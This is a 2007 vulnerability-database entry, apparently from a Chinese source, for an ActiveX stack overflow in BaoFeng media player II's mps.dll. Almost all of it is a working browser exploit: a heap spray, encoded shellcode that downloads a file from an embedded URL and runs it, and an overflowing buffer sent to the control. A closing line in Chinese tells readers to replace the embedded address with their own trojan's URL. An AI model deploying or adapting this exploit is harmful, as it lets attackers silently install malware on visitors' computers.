暴风影音II mps.dll ActiveX栈溢出漏洞

🗓️ 07 Sep 2007 00:00:00Reported by RootType
ActiveX stack overflow vulnerability in BaoFeng media player II mps.dl

                                                &lt;html&gt;
&lt;object classid=&quot;clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB&quot; id='target'&gt;&lt;/object&gt;
&lt;body&gt;
&lt;SCRIPT language=&quot;javascript&quot;&gt;
    var shellcode = unescape(&quot;%u9090&quot;+&quot;%u9090&quot;+ 
&quot;%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c&quot; +
&quot;%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378&quot; +
&quot;%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b&quot; +
&quot;%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7&quot; +
&quot;%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1&quot; +
&quot;%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103&quot; +
&quot;%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904&quot; +
&quot;%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b&quot; +
&quot;%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e&quot; +
&quot;%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d&quot; +
&quot;%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320&quot; +
&quot;%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344&quot; +
&quot;%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc&quot; +
&quot;%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0&quot; +
&quot;%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab&quot; +
&quot;%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f&quot; +
&quot;%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574&quot; +
&quot;%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e&quot; +
&quot;%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00&quot; +
&quot;%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c&quot; +
&quot;%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54&quot; +
&quot;%u6946%u656c%u0041%u7468%u7074%u2f3a%u312f%u3732&quot; +
&quot;%u302e%u302e%u312e%u632f%u6c61%u2e63%u7865%u0065&quot;);
&lt;/script&gt;
&lt;SCRIPT language=&quot;javascript&quot;&gt;

var bigblock = unescape(&quot;%u9090%u9090&quot;);
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x&lt;300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length &lt; 4057) buffer+=&quot;\x0a\x0a\x0a\x0a&quot;;
buffer+=&quot;\x0a&quot;;
buffer+=&quot;\x0a&quot;;
buffer+=&quot;\x0a&quot;;
buffer+=&quot;\x0a\x0a\x0a\x0a&quot;;
buffer+=&quot;\x0a\x0a\x0a\x0a&quot;; 
target.rawParse(buffer);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;


%u7468%u7074%u2f3a%u312f%u3732&quot; +&quot;%u302e%u302e%u312e%u632f%u6c61%u2e63%u7865%u0065&quot;);
是你的马的地址。转换下换上就OK！
07 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1